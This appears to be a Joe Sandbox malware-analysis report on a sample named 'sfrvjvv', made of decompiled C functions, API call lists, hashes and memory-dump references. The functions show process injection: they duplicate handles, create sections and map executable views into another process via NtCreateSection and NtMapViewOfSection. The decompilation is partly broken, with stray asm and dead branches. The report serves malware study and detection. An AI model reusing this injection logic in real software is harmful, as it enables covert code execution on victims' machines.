			E00401920(void* __eax, void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t13;
				void* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t27;

				_t32 = __eflags;
				_t24 = __edi;
				asm("in eax, dx");
				_push(0x5a);
				L00401271(0x194a, __ebx, __edi, __eflags);
				_t19 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040149E(_t23, _t32); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E0040156B(_t23, _t33, __fp0, _t19, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x194a;
				_push(0x5a);
				return L00401271(_t15, _t19, _t24, _t33);
			}

0x00401920
0x00401920
0x00401922
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction ID: 224bb2ef0974229b5a5fdcef52df60c5cd3bf8ec0745870aca08fc2285a6eed9
Opcode Fuzzy Hash: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction Fuzzy Hash: 6EF086B5204105FBDB009B949C61EBA77259F05361F204437F617B90F1C53C8513E62B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192A Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E0040192A(void* __edi, void* __eflags, void* __fp0) {
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				_push(0x5a);
				L00401271(0x194a, 0xcd, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

0x0040192a
0x0040192a
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction ID: 9248d4b3e658d46e670c13ad7b2d26eba18d2d49d4b0dc53c33eada2e420f8d1
Opcode Fuzzy Hash: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction Fuzzy Hash: 1DF06DB6208104EBDB00AA949C61EBA3625AB05361F204437BA17B90F1C53C8612EA2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192E Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E0040192E(void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				asm("out dx, al");
				_push(0x5a);
				L00401271(_t8, __ebx, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

0x0040192e
0x0040192e
0x0040192e
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction ID: e24f51b341499e2e26426f908677bffa000874d55709296b6d837b784a8f1a12
Opcode Fuzzy Hash: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction Fuzzy Hash: 35F044B6204105F7DB00AF949C61EBA76259F05761F204577BA17B90F1C53D8512EB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931 Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction ID: 67248cb6658f2556eaba37909da5001fde87a2f9067ac25d4feca41700aa7417
Opcode Fuzzy Hash: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction Fuzzy Hash: 44F0A476204205EBDB00AFA49C51DBE7725AF04754F200577BA12B90F1CA788512EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 005E092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 005E0966
., xrefs: 005E095F
GetProcAddress., xrefs: 005E09DC, 005E09DF, 005E09E4

Memory Dump Source

Source File: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 81c2925e89bdf666cdb0646dd3adc5f1af4359d47b30a98dde1142d258809ff2
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: FE318DB6900609CFDB14CF99C880AAEBBF5FF48324F14504AD441E7352D7B1EA85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004022E9 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f1ca3a8ebf4dff54d3985f9c148e8666fc7a6d737352010278e5a202bcc7bd
Instruction ID: 5c5af963344fe3aa7d2fe027e9d13042748aca985b345bb656a749bcefe214bc
Opcode Fuzzy Hash: a3f1ca3a8ebf4dff54d3985f9c148e8666fc7a6d737352010278e5a202bcc7bd
Instruction Fuzzy Hash: 02816936418782CAC7369B34D5911D2FFF1BF8A704B4849ADC5D786882E338B267C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00402219 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e039da0572a1b59c05877dab85dd3632341fafabc1a4ca2541553d1185790e0c
Instruction ID: 3bcd0e2288eda4060afe81734e62d0be7380ac6ae20b88ca300affe1451fe799
Opcode Fuzzy Hash: e039da0572a1b59c05877dab85dd3632341fafabc1a4ca2541553d1185790e0c
Instruction Fuzzy Hash: FC11A63240420ADFCB00EB81E98A9D6B370FB95748B1009BDEA126B0D5F2717227D75B

Uniqueness

Uniqueness Score: -1.00%

Function 0040221B Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc87bf21e7b8f11a05c64d687bd302a1148cbf85da32a39a60ab8073629d135
Instruction ID: 80374ff71acb4e40a99ba9fdabce2cbcc8f730c7eeba908dfc5354750a062123
Opcode Fuzzy Hash: 4bc87bf21e7b8f11a05c64d687bd302a1148cbf85da32a39a60ab8073629d135
Instruction Fuzzy Hash: 2C11F93240420ADFCB00FF81E98A8D6B370FB96748B1009BCEA122B0C6F2706226C357

Uniqueness

Uniqueness Score: -1.00%

Function 00402241 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad6de156cfba31fd53670dce920eea55cb39c8cd5f47a068a93b2db140e33f9
Instruction ID: 0b30bc7017b0a7d68a1e04374eae7e5ef415df0775d2272070ddb73ea2bddc06
Opcode Fuzzy Hash: 3ad6de156cfba31fd53670dce920eea55cb39c8cd5f47a068a93b2db140e33f9
Instruction Fuzzy Hash: 4511EB3790020ACFCB15FF41E4CA8C5B372FB8A348B040AACDE125B095F3316226C756

Uniqueness

Uniqueness Score: -1.00%

Function 0040224D Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb3756c358ce75bb42e9581cbee3181ff4d2cf0aebb29958df83002203836e5
Instruction ID: 06435867d3c439af725eba92724c2eb6d34bb3774f051ce35eb0f5e7c3b98355
Opcode Fuzzy Hash: 0fb3756c358ce75bb42e9581cbee3181ff4d2cf0aebb29958df83002203836e5
Instruction Fuzzy Hash: D511887790020ACFCB15EF41E4C65D5B371FB9A348B140AACDE125B095F3316226D756

Uniqueness

Uniqueness Score: -1.00%

Function 00402251 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327319549.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08f8859ba588c604e69d1dca86dedc51352434a0c3d2da7259e2c8301b961f39
Instruction ID: 947e0effc2f4e57c8cb4d65273482cb1c2685da776775f1305328036b4f14a7b
Opcode Fuzzy Hash: 08f8859ba588c604e69d1dca86dedc51352434a0c3d2da7259e2c8301b961f39
Instruction Fuzzy Hash: B101667790020ACFCB15EF42E4C54D9B772FB8A3487040AACDA125B416F3316226C755

Uniqueness

Uniqueness Score: -1.00%

Function 005E0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: e79c77a33d3e2958be64fda7cb60edd6142e77e0db177738c83660cdaacb83ea
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 1E01F272A006408FDF25DF61CD04BAB37E9FB86306F0544B4D94AD72C2E3B0A8818F80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sfrvjvvPID: 5148, Parent PID: 1100COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	64.2%
Signature Coverage:	0%
Total number of Nodes:	134
Total number of Limit Nodes:	9

Executed Functions

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 193
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E0040156B(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* _v288;
				void* __ebx;
				void* __edi;
				intOrPtr _t88;
				long _t91;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				void* _t128;
				intOrPtr _t129;
				long* _t132;
				void* _t174;
				long _t175;
				long* _t182;
				intOrPtr* _t183;
				HANDLE* _t184;
				HANDLE* _t185;
				intOrPtr _t198;
				void* _t199;
				void* _t200;
				long _t218;
				void* _t223;

				_t223 = __fp0;
				_push(0x36c);
				_t200 = _t199 + 4;
				L00401271(0x15a2, _t128, _t174, __eflags);
				_t129 = _a4;
				_t175 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				_v96 = _t88;
				_t182 =  &_v100;
				 *_t182 = _t175;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t182);
				_t91 =  *_t182;
				if(_t91 == 0) {
					L63:
					return L00401271(0x15a2, _t129, _t175, _t222);
				}
				_t132 =  &_v52;
				 *_t132 = _t91;
				_t132[1] = _t175;
				_t183 =  &_v44;
				 *((intOrPtr*)(_t129 + 0x10))(_t183, 0x18);
				 *_t183 = 0x18;
				_push( &_v52);
				_push(_t183);
				_push(0x40);
				_push( &_v20);
				if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t175, _t175, 2) == 0) {
					_v12 = _t175;
					_t99 =  &_v84;
					 *(_t99 + 4) = _t175;
					 *_t99 = 0x5000;
					_t184 =  &_v88;
					if(NtCreateSection(_t184, 6, _t175, _t99, 4, 0x8000000, _t175) == 0) {
						_push(_v84);
						_pop( *_t25);
						_t122 =  &_v72;
						 *_t122 = _t175;
						if(NtMapViewOfSection( *_t184, 0xffffffff, _t122, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
							_t124 =  &_v64;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t184, _v16, _t124, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
								_t198 = _v72;
								 *((intOrPtr*)(_t129 + 0x20))(_t175, _t198, 0x104);
								 *((intOrPtr*)(_t198 + 0x208)) = _a16;
								_v12 = _v12 + 1;
							}
						}
					}
					_t101 =  &_v84;
					 *(_t101 + 4) = _t175;
					 *_t101 = _a12 + 0x10000;
					_t185 =  &_v92;
					if(NtCreateSection(_t185, 0xe, _t175, _t101, 0x40, 0x8000000, _t175) == 0) {
						while(_v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t103 =  &_v76;
							 *_t103 = _t175;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t103, _t175, _t175, _t175,  &_v60, 1, _t175, 4) != 0) {
								goto L63;
							}
							_t105 =  &_v68;
							 *_t105 = _t175;
							_t218 = NtMapViewOfSection( *_t185, _v16, _t105, _t175, _t175, _t175,  &_v60, 1, _t175, 0x20);
							if(_t218 != 0) {
								goto L63;
							}
							L21();
							if(_t218 != 0 || _t218 == 0) {
								L25:
								asm("lodsb");
								goto L43;
								asm("loop 0xffffffc7");
								switch(0x4017c8) {
								}
							} else {
								if(_t218 < 0) {
									continue;
								}
								asm("cmpsd");
								_t200 = _t200 - 1;
								goto L25;
							}
						}
					}
				}
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction ID: 4e6cf93ab59cf35e3a3a48edc2c016eb71cd13ef699383e81882b5db717c4c63
Opcode Fuzzy Hash: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction Fuzzy Hash: DD514D71900208FBEB209F95CC49FAF7BB8FF85710F10412AF912BA2E5E6749901DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401581 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00401581(void* __ebx, void* __edx, void* __edi, void* __eflags, void* __fp0) {
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t129;
				long* _t133;
				long _t176;
				long* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				void* _t205;
				long _t224;
				void* _t229;

				_t229 = __fp0;
				asm("lodsb");
				_push(0x36c);
				_t205 = _t204 + 4;
				L00401271(0x15a2, __ebx, __edi, __eflags);
				_t129 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t88;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t184);
				_t91 =  *_t184;
				if(_t91 != 0) {
					_t133 = _t202 - 0x30;
					 *_t133 = _t91;
					_t133[1] = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t99 = _t202 - 0x50;
						 *(_t99 + 4) = _t176;
						 *_t99 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t99, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t122 = _t202 - 0x44;
							 *_t122 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t124 = _t202 - 0x3c;
								 *_t124 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t124, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t101 = _t202 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						if(NtCreateSection(_t188, 0xe, _t176, _t101, 0x40, 0x8000000, _t176) == 0) {
							while( *(_t202 - 8) != 0) {
								 *_t46 =  *(_t202 - 0x50);
								_t103 = _t202 - 0x48;
								 *_t103 = _t176;
								if(NtMapViewOfSection( *_t188, 0xffffffff, _t103, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t105 = _t202 - 0x40;
									 *_t105 = _t176;
									_t224 = NtMapViewOfSection( *_t188,  *(_t202 - 0xc), _t105, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 0x20);
									if(_t224 == 0) {
										L21();
										if(_t224 != 0 || _t224 == 0) {
											L25:
											asm("lodsb");
											goto L43;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t224 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t205 = _t205 - 1;
												goto L25;
											}
										}
									}
								}
								goto L63;
							}
						}
					}
				}
				L63:
				_t93 = L00401271(0x15a2, _t129, _t176, _t228);
				return _t93;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 0000000B.00000002.472129488.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sfrvjvv.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction ID: 261b6cc0bc968e0ced8050ca7f20839481a744be2ea717bb7b43cd06ccdbd1b7
Opcode Fuzzy Hash: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction Fuzzy Hash: 7B510B71900209BFEB209F91CC49FAF7BB8FF85B10F104169F911BA2E5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401577(signed int __eax, void* __ebx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t135;
				long _t178;
				long* _t186;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;
				signed int _t212;
				long _t226;
				void* _t231;

				_t231 = __fp0;
				_t212 = __eax ^ 0x15a2b8d3;
				_push(0x36c);
				_t207 = _t206 + 4;
				L00401271(0x15a2, __ebx, __edi, _t212);
				_t131 =  *((intOrPtr*)(_t204 + 8));
				_t178 = 0;
				 *((intOrPtr*)(_t204 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t204 - 0x34)) =  *((intOrPtr*)(_t204 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t204 - 0x5c)) = _t90;
				_t186 = _t204 - 0x60;
				 *_t186 = _t178;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t186);
				_t93 =  *_t186;
				if(_t93 != 0) {
					_t135 = _t204 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t178;
					_t188 = _t204 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t204 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t204 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t204 - 0x10), 0xffffffff, 0xffffffff, _t204 - 0xc, _t178, _t178, 2) == 0) {
						 *(_t204 - 8) = _t178;
						_t101 = _t204 - 0x50;
						 *(_t101 + 4) = _t178;
						 *_t101 = 0x5000;
						_t189 = _t204 - 0x54;
						if(NtCreateSection(_t189, 6, _t178, _t101, 4, 0x8000000, _t178) == 0) {
							 *_t25 =  *(_t204 - 0x50);
							_t124 = _t204 - 0x44;
